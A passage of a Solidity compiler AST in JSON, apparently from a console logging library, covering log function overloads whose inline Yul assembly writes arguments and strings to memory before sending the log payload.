ressionStatement","src":"385409:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385447:4:22","nodeType":"YulLiteral","src":"385447:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"385453:2:22","nodeType":"YulIdentifier","src":"385453:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385440:6:22","nodeType":"YulIdentifier","src":"385440:6:22"},"nativeSrc":"385440:16:22","nodeType":"YulFunctionCall","src":"385440:16:22"},"nativeSrc":"385440:16:22","nodeType":"YulExpressionStatement","src":"385440:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385476:4:22","nodeType":"YulLiteral","src":"385476:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"385482:2:22","nodeType":"YulIdentifier","src":"385482:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385469:6:22","nodeType":"YulIdentifier","src":"385469:6:22"},"nativeSrc":"385469:16:22","nodeType":"YulFunctionCall","src":"385469:16:22"},"nativeSrc":"385469:16:22","nodeType":"YulExpressionStatement","src":"385469:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385510:4:22","nodeType":"YulLiteral","src":"385510:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"385516:2:22","nodeType":"YulIdentifier","src":"385516:2:22"}],"functionName":{"name":"writeString","nativeSrc":"385498:11:22","nodeType":"YulIdentifier","src":"385498:11:22"},"nativeSrc":"385498:21:22","nodeType":"YulFunctionCall","src":"385498:21:22"},"nativeSrc":"385498:21:22","nodeType":"YulExpressionStatement","src":"385498:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385544:4:22","nodeType":"YulLiteral","src":"385544:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"385550:2:22","nodeType":"YulIdentifier","src":"385550:2:22"}],"functionName":{"name":"writeString","nativeSrc":"385532:11:22","nodeType":"YulIdentifier","src":"385532:11:22"},"nativeSrc":"385532:21:22","nodeType":"YulFunctionCall","src":"385532:21:22"},"nativeSrc":"385532:21:22","nodeType":"YulExpressionStatement","src":"385532:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46194,"isOffset":false,"isSlot":false,"src":"385005:2:22","valueSize":1},{"declaration":46197,"isOffset":false,"isSlot":false,"src":"385035:2:22","valueSize":1},{"declaration":46200,"isOffset":false,"isSlot":false,"src":"385065:2:22","valueSize":1},{"declaration":46203,"isOffset":false,"isSlot":false,"src":"385095:2:22","valueSize":1},{"declaration":46206,"isOffset":false,"isSlot":false,"src":"385125:2:22","valueSize":1},{"declaration":46209,"isOffset":false,"isSlot":false,"src":"385155:2:22","valueSize":1},{"declaration":46212,"isOffset":false,"isSlot":false,"src":"385185:2:22","valueSize":1},{"declaration":46215,"isOffset":false,"isSlot":false,"src":"385215:2:22","valueSize":1},{"declaration":46218,"isOffset":false,"isSlot":false,"src":"385245:2:22","valueSize":1},{"declaration":46184,"isOffset":false,"isSlot":false,"src":"385516:2:22","valueSize":1},{"declaration":46186,"isOffset":false,"isSlot":false,"src":"385550:2:22","valueSize":1},{"declaration":46188,"isOffset":false,"isSlot":false,"src":"385453:2:22","valueSize":1},{"declaration":46190,"isOffset":false,"isSlot":false,"src":"385482:2:22","valueSize":1}],"id":46220,"nodeType":"InlineAssembly","src":"384627:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"385588:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":46223,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"385594:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":46221,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"385572:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"385572:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46225,"nodeType":"ExpressionStatement","src":"385572:28:22"},{"AST":{"nativeSrc":"385619:273:22","nodeType":"YulBlock","src":"385619:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"385640:4:22","nodeType":"YulLiteral","src":"385640:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"385646:2:22","nodeType":"YulIdentifier","src":"385646:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385633:6:22","nodeType":"YulIdentifier","src":"385633:6:22"},"nativeSrc":"385633:16:22","nodeType":"YulFunctionCall","src":"385633:16:22"},"nativeSrc":"385633:16:22","nodeType":"YulExpressionStatement","src":"385633:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385669:4:22","nodeType":"YulLiteral","src":"385669:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"385675:2:22","nodeType":"YulIdentifier","src":"385675:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385662:6:22","nodeType":"YulIdentifier","src":"385662:6:22"},"nativeSrc":"385662:16:22","nodeType":"YulFunctionCall","src":"385662:16:22"},"nativeSrc":"385662:16:22","nodeType":"YulExpressionStatement","src":"385662:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385698:4:22","nodeType":"YulLiteral","src":"385698:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"385704:2:22","nodeType":"YulIdentifier","src":"385704:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385691:6:22","nodeType":"YulIdentifier","src":"385691:6:22"},"nativeSrc":"385691:16:22","nodeType":"YulFunctionCall","src":"385691:16:22"},"nativeSrc":"385691:16:22","nodeType":"YulExpressionStatement","src":"385691:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385727:4:22","nodeType":"YulLiteral","src":"385727:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"385733:2:22","nodeType":"YulIdentifier","src":"385733:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385720:6:22","nodeType":"YulIdentifier","src":"385720:6:22"},"nativeSrc":"385720:16:22","nodeType":"YulFunctionCall","src":"385720:16:22"},"nativeSrc":"385720:16:22","nodeType":"YulExpressionStatement","src":"385720:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385756:4:22","nodeType":"YulLiteral","src":"385756:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"385762:2:22","nodeType":"YulIdentifier","src":"385762:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385749:6:22","nodeType":"YulIdentifier","src":"385749:6:22"},"nativeSrc":"385749:16:22","nodeType":"YulFunctionCall","src":"385749:16:22"},"nativeSrc":"385749:16:22","nodeType":"YulExpressionStatement","src":"385749:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385785:4:22","nodeType":"YulLiteral","src":"385785:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"385791:2:22","nodeType":"YulIdentifier","src":"385791:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385778:6:22","nodeType":"YulIdentifier","src":"385778:6:22"},"nativeSrc":"385778:16:22","nodeType":"YulFunctionCall","src":"385778:16:22"},"nativeSrc":"385778:16:22","nodeType":"YulExpressionStatement","src":"385778:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385814:4:22","nodeType":"YulLiteral","src":"385814:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"385820:2:22","nodeType":"YulIdentifier","src":"385820:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385807:6:22","nodeType":"YulIdentifier","src":"385807:6:22"},"nativeSrc":"385807:16:22","nodeType":"YulFunctionCall","src":"385807:16:22"},"nativeSrc":"385807:16:22","nodeType":"YulExpressionStatement","src":"385807:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385843:4:22","nodeType":"YulLiteral","src":"385843:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"385849:2:22","nodeType":"YulIdentifier","src":"385849:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385836:6:22","nodeType":"YulIdentifier","src":"385836:6:22"},"nativeSrc":"385836:16:22","nodeType":"YulFunctionCall","src":"385836:16:22"},"nativeSrc":"385836:16:22","nodeType":"YulExpressionStatement","src":"385836:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385872:5:22","nodeType":"YulLiteral","src":"385872:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"385879:2:22","nodeType":"YulIdentifier","src":"385879:2:22"}],"functionName":{"name":"mstore","nativeSrc":"385865:6:22","nodeType":"YulIdentifier","src":"385865:6:22"},"nativeSrc":"385865:17:22","nodeType":"YulFunctionCall","src":"385865:17:22"},"nativeSrc":"385865:17:22","nodeType":"YulExpressionStatement","src":"385865:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46194,"isOffset":false,"isSlot":false,"src":"385646:2:22","valueSize":1},{"declaration":46197,"isOffset":false,"isSlot":false,"src":"385675:2:22","valueSize":1},{"declaration":46200,"isOffset":false,"isSlot":false,"src":"385704:2:22","valueSize":1},{"declaration":46203,"isOffset":false,"isSlot":false,"src":"385733:2:22","valueSize":1},{"declaration":46206,"isOffset":false,"isSlot":false,"src":"385762:2:22","valueSize":1},{"declaration":46209,"isOffset":false,"isSlot":false,"src":"385791:2:22","valueSize":1},{"declaration":46212,"isOffset":false,"isSlot":false,"src":"385820:2:22","valueSize":1},{"declaration":46215,"isOffset":false,"isSlot":false,"src":"385849:2:22","valueSize":1},{"declaration":46218,"isOffset":false,"isSlot":false,"src":"385879:2:22","valueSize":1}],"id":46226,"nodeType":"InlineAssembly","src":"385610:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"384371:3:22","parameters":{"id":46191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46184,"mutability":"mutable","name":"p0","nameLocation":"384383:2:22","nodeType":"VariableDeclaration","scope":46228,"src":"384375:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46183,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384375:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46186,"mutability":"mutable","name":"p1","nameLocation":"384395:2:22","nodeType":"VariableDeclaration","scope":46228,"src":"384387:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46185,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384387:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46188,"mutability":"mutable","name":"p2","nameLocation":"384407:2:22","nodeType":"VariableDeclaration","scope":46228,"src":"384399:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":46187,"name":"uint256","nodeType":"ElementaryTypeName","src":"384399:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":46190,"mutability":"mutable","name":"p3","nameLocation":"384419:2:22","nodeType":"VariableDeclaration","scope":46228,"src":"384411:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46189,"name":"address","nodeType":"ElementaryTypeName","src":"384411:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"384374:48:22"},"returnParameters":{"id":46192,"nodeType":"ParameterList","parameters":[],"src":"384437:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46274,"nodeType":"FunctionDefinition","src":"385904:1530:22","nodes":[],"body":{"id":46273,"nodeType":"Block","src":"385976:1458:22","nodes":[],"statements":[{"assignments":[46240],"declarations":[{"constant":false,"id":46240,"mutability":"mutable","name":"m0","nameLocation":"385994:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"385986:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46239,"name":"bytes32","nodeType":"ElementaryTypeName","src":"385986:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46241,"nodeType":"VariableDeclarationStatement","src":"385986:10:22"},{"assignments":[46243],"declarations":[{"constant":false,"id":46243,"mutability":"mutable","name":"m1","nameLocation":"386014:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46242,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46244,"nodeType":"VariableDeclarationStatement","src":"386006:10:22"},{"assignments":[46246],"declarations":[{"constant":false,"id":46246,"mutability":"mutable","name":"m2","nameLocation":"386034:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46245,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386026:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46247,"nodeType":"VariableDeclarationStatement","src":"386026:10:22"},{"assignments":[46249],"declarations":[{"constant":false,"id":46249,"mutability":"mutable","name":"m3","nameLocation":"386054:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46248,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46250,"nodeType":"VariableDeclarationStatement","src":"386046:10:22"},{"assignments":[46252],"declarations":[{"constant":false,"id":46252,"mutability":"mutable","name":"m4","nameLocation":"386074:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46251,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386066:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46253,"nodeType":"VariableDeclarationStatement","src":"386066:10:22"},{"assignments":[46255],"declarations":[{"constant":false,"id":46255,"mutability":"mutable","name":"m5","nameLocation":"386094:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386086:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46254,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386086:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46256,"nodeType":"VariableDeclarationStatement","src":"386086:10:22"},{"assignments":[46258],"declarations":[{"constant":false,"id":46258,"mutability":"mutable","name":"m6","nameLocation":"386114:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386106:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46257,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386106:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46259,"nodeType":"VariableDeclarationStatement","src":"386106:10:22"},{"assignments":[46261],"declarations":[{"constant":false,"id":46261,"mutability":"mutable","name":"m7","nameLocation":"386134:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386126:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46260,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386126:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46262,"nodeType":"VariableDeclarationStatement","src":"386126:10:22"},{"assignments":[46264],"declarations":[{"constant":false,"id":46264,"mutability":"mutable","name":"m8","nameLocation":"386154:2:22","nodeType":"VariableDeclaration","scope":46273,"src":"386146:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46263,"name":"bytes32","nodeType":"ElementaryTypeName","src":"386146:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46265,"nodeType":"VariableDeclarationStatement","src":"386146:10:22"},{"AST":{"nativeSrc":"386175:924:22","nodeType":"YulBlock","src":"386175:924:22","statements":[{"body":{"nativeSrc":"386218:313:22","nodeType":"YulBlock","src":"386218:313:22","statements":[{"nativeSrc":"386236:15:22","nodeType":"YulVariableDeclaration","src":"386236:15:22","value":{"kind":"number","nativeSrc":"386250:1:22","nodeType":"YulLiteral","src":"386250:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"386240:6:22","nodeType":"YulTypedName","src":"386240:6:22","type":""}]},{"body":{"nativeSrc":"386321:40:22","nodeType":"YulBlock","src":"386321:40:22","statements":[{"body":{"nativeSrc":"386350:9:22","nodeType":"YulBlock","src":"386350:9:22","statements":[{"nativeSrc":"386352:5:22","nodeType":"YulBreak","src":"386352:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"386338:6:22","nodeType":"YulIdentifier","src":"386338:6:22"},{"name":"w","nativeSrc":"386346:1:22","nodeType":"YulIdentifier","src":"386346:1:22"}],"functionName":{"name":"byte","nativeSrc":"386333:4:22","nodeType":"YulIdentifier","src":"386333:4:22"},"nativeSrc":"386333:15:22","nodeType":"YulFunctionCall","src":"386333:15:22"}],"functionName":{"name":"iszero","nativeSrc":"386326:6:22","nodeType":"YulIdentifier","src":"386326:6:22"},"nativeSrc":"386326:23:22","nodeType":"YulFunctionCall","src":"386326:23:22"},"nativeSrc":"386323:36:22","nodeType":"YulIf","src":"386323:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"386278:6:22","nodeType":"YulIdentifier","src":"386278:6:22"},{"kind":"number","nativeSrc":"386286:4:22","nodeType":"YulLiteral","src":"386286:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"386275:2:22","nodeType":"YulIdentifier","src":"386275:2:22"},"nativeSrc":"386275:16:22","nodeType":"YulFunctionCall","src":"386275:16:22"},"nativeSrc":"386268:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"386292:28:22","nodeType":"YulBlock","src":"386292:28:22","statements":[{"nativeSrc":"386294:24:22","nodeType":"YulAssignment","src":"386294:24:22","value":{"arguments":[{"name":"length","nativeSrc":"386308:6:22","nodeType":"YulIdentifier","src":"386308:6:22"},{"kind":"number","nativeSrc":"386316:1:22","nodeType":"YulLiteral","src":"386316:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"386304:3:22","nodeType":"YulIdentifier","src":"386304:3:22"},"nativeSrc":"386304:14:22","nodeType":"YulFunctionCall","src":"386304:14:22"},"variableNames":[{"name":"length","nativeSrc":"386294:6:22","nodeType":"YulIdentifier","src":"386294:6:22"}]}]},"pre":{"nativeSrc":"386272:2:22","nodeType":"YulBlock","src":"386272:2:22","statements":[]},"src":"386268:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"386385:3:22","nodeType":"YulIdentifier","src":"386385:3:22"},{"name":"length","nativeSrc":"386390:6:22","nodeType":"YulIdentifier","src":"386390:6:22"}],"functionName":{"name":"mstore","nativeSrc":"386378:6:22","nodeType":"YulIdentifier","src":"386378:6:22"},"nativeSrc":"386378:19:22","nodeType":"YulFunctionCall","src":"386378:19:22"},"nativeSrc":"386378:19:22","nodeType":"YulExpressionStatement","src":"386378:19:22"},{"nativeSrc":"386414:37:22","nodeType":"YulVariableDeclaration","src":"386414:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"386431:3:22","nodeType":"YulLiteral","src":"386431:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"386440:1:22","nodeType":"YulLiteral","src":"386440:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"386443:6:22","nodeType":"YulIdentifier","src":"386443:6:22"}],"functionName":{"name":"shl","nativeSrc":"386436:3:22","nodeType":"YulIdentifier","src":"386436:3:22"},"nativeSrc":"386436:14:22","nodeType":"YulFunctionCall","src":"386436:14:22"}],"functionName":{"name":"sub","nativeSrc":"386427:3:22","nodeType":"YulIdentifier","src":"386427:3:22"},"nativeSrc":"386427:24:22","nodeType":"YulFunctionCall","src":"386427:24:22"},"variables":[{"name":"shift","nativeSrc":"386418:5:22","nodeType":"YulTypedName","src":"386418:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"386479:3:22","nodeType":"YulIdentifier","src":"386479:3:22"},{"kind":"number","nativeSrc":"386484:4:22","nodeType":"YulLiteral","src":"386484:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"386475:3:22","nodeType":"YulIdentifier","src":"386475:3:22"},"nativeSrc":"386475:14:22","nodeType":"YulFunctionCall","src":"386475:14:22"},{"arguments":[{"name":"shift","nativeSrc":"386495:5:22","nodeType":"YulIdentifier","src":"386495:5:22"},{"arguments":[{"name":"shift","nativeSrc":"386506:5:22","nodeType":"YulIdentifier","src":"386506:5:22"},{"name":"w","nativeSrc":"386513:1:22","nodeType":"YulIdentifier","src":"386513:1:22"}],"functionName":{"name":"shr","nativeSrc":"386502:3:22","nodeType":"YulIdentifier","src":"386502:3:22"},"nativeSrc":"386502:13:22","nodeType":"YulFunctionCall","src":"386502:13:22"}],"functionName":{"name":"shl","nativeSrc":"386491:3:22","nodeType":"YulIdentifier","src":"386491:3:22"},"nativeSrc":"386491:25:22","nodeType":"YulFunctionCall","src":"386491:25:22"}],"functionName":{"name":"mstore","nativeSrc":"386468:6:22","nodeType":"YulIdentifier","src":"386468:6:22"},"nativeSrc":"386468:49:22","nodeType":"YulFunctionCall","src":"386468:49:22"},"nativeSrc":"386468:49:22","nodeType":"YulExpressionStatement","src":"386468:49:22"}]},"name":"writeString","nativeSrc":"386189:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"386210:3:22","nodeType":"YulTypedName","src":"386210:3:22","type":""},{"name":"w","nativeSrc":"386215:1:22","nodeType":"YulTypedName","src":"386215:1:22","type":""}],"src":"386189:342:22"},{"nativeSrc":"386544:17:22","nodeType":"YulAssignment","src":"386544:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386556:4:22","nodeType":"YulLiteral","src":"386556:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"386550:5:22","nodeType":"YulIdentifier","src":"386550:5:22"},"nativeSrc":"386550:11:22","nodeType":"YulFunctionCall","src":"386550:11:22"},"variableNames":[{"name":"m0","nativeSrc":"386544:2:22","nodeType":"YulIdentifier","src":"386544:2:22"}]},{"nativeSrc":"386574:17:22","nodeType":"YulAssignment","src":"386574:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386586:4:22","nodeType":"YulLiteral","src":"386586:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"386580:5:22","nodeType":"YulIdentifier","src":"386580:5:22"},"nativeSrc":"386580:11:22","nodeType":"YulFunctionCall","src":"386580:11:22"},"variableNames":[{"name":"m1","nativeSrc":"386574:2:22","nodeType":"YulIdentifier","src":"386574:2:22"}]},{"nativeSrc":"386604:17:22","nodeType":"YulAssignment","src":"386604:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386616:4:22","nodeType":"YulLiteral","src":"386616:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"386610:5:22","nodeType":"YulIdentifier","src":"386610:5:22"},"nativeSrc":"386610:11:22","nodeType":"YulFunctionCall","src":"386610:11:22"},"variableNames":[{"name":"m2","nativeSrc":"386604:2:22","nodeType":"YulIdentifier","src":"386604:2:22"}]},{"nativeSrc":"386634:17:22","nodeType":"YulAssignment","src":"386634:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386646:4:22","nodeType":"YulLiteral","src":"386646:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"386640:5:22","nodeType":"YulIdentifier","src":"386640:5:22"},"nativeSrc":"386640:11:22","nodeType":"YulFunctionCall","src":"386640:11:22"},"variableNames":[{"name":"m3","nativeSrc":"386634:2:22","nodeType":"YulIdentifier","src":"386634:2:22"}]},{"nativeSrc":"386664:17:22","nodeType":"YulAssignment","src":"386664:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386676:4:22","nodeType":"YulLiteral","src":"386676:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"386670:5:22","nodeType":"YulIdentifier","src":"386670:5:22"},"nativeSrc":"386670:11:22","nodeType":"YulFunctionCall","src":"386670:11:22"},"variableNames":[{"name":"m4","nativeSrc":"386664:2:22","nodeType":"YulIdentifier","src":"386664:2:22"}]},{"nativeSrc":"386694:17:22","nodeType":"YulAssignment","src":"386694:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386706:4:22","nodeType":"YulLiteral","src":"386706:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"386700:5:22","nodeType":"YulIdentifier","src":"386700:5:22"},"nativeSrc":"386700:11:22","nodeType":"YulFunctionCall","src":"386700:11:22"},"variableNames":[{"name":"m5","nativeSrc":"386694:2:22","nodeType":"YulIdentifier","src":"386694:2:22"}]},{"nativeSrc":"386724:17:22","nodeType":"YulAssignment","src":"386724:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386736:4:22","nodeType":"YulLiteral","src":"386736:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"386730:5:22","nodeType":"YulIdentifier","src":"386730:5:22"},"nativeSrc":"386730:11:22","nodeType":"YulFunctionCall","src":"386730:11:22"},"variableNames":[{"name":"m6","nativeSrc":"386724:2:22","nodeType":"YulIdentifier","src":"386724:2:22"}]},{"nativeSrc":"386754:17:22","nodeType":"YulAssignment","src":"386754:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"386766:4:22","nodeType":"YulLiteral","src":"386766:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"386760:5:22","nodeType":"YulIdentifier","src":"386760:5:22"},"nativeSrc":"386760:11:22","nodeType":"YulFunctionCall","src":"386760:11:22"},"variableNames":[{"name":"m7","nativeSrc":"386754:2:22","nodeType":"YulIdentifier","src":"386754:2:22"}]},{"nativeSrc":"386784:18:22","nodeType":"YulAssignment","src":"386784:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"386796:5:22","nodeType":"YulLiteral","src":"386796:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"386790:5:22","nodeType":"YulIdentifier","src":"386790:5:22"},"nativeSrc":"386790:12:22","nodeType":"YulFunctionCall","src":"386790:12:22"},"variableNames":[{"name":"m8","nativeSrc":"386784:2:22","nodeType":"YulIdentifier","src":"386784:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"386884:4:22","nodeType":"YulLiteral","src":"386884:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"386890:10:22","nodeType":"YulLiteral","src":"386890:10:22","type":"","value":"0xc3a8a654"}],"functionName":{"name":"mstore","nativeSrc":"386877:6:22","nodeType":"YulIdentifier","src":"386877:6:22"},"nativeSrc":"386877:24:22","nodeType":"YulFunctionCall","src":"386877:24:22"},"nativeSrc":"386877:24:22","nodeType":"YulExpressionStatement","src":"386877:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"386921:4:22","nodeType":"YulLiteral","src":"386921:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"386927:4:22","nodeType":"YulLiteral","src":"386927:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"386914:6:22","nodeType":"YulIdentifier","src":"386914:6:22"},"nativeSrc":"386914:18:22","nodeType":"YulFunctionCall","src":"386914:18:22"},"nativeSrc":"386914:18:22","nodeType":"YulExpressionStatement","src":"386914:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"386952:4:22","nodeType":"YulLiteral","src":"386952:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"386958:4:22","nodeType":"YulLiteral","src":"386958:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"386945:6:22","nodeType":"YulIdentifier","src":"386945:6:22"},"nativeSrc":"386945:18:22","nodeType":"YulFunctionCall","src":"386945:18:22"},"nativeSrc":"386945:18:22","nodeType":"YulExpressionStatement","src":"386945:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"386983:4:22","nodeType":"YulLiteral","src":"386983:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"386989:2:22","nodeTy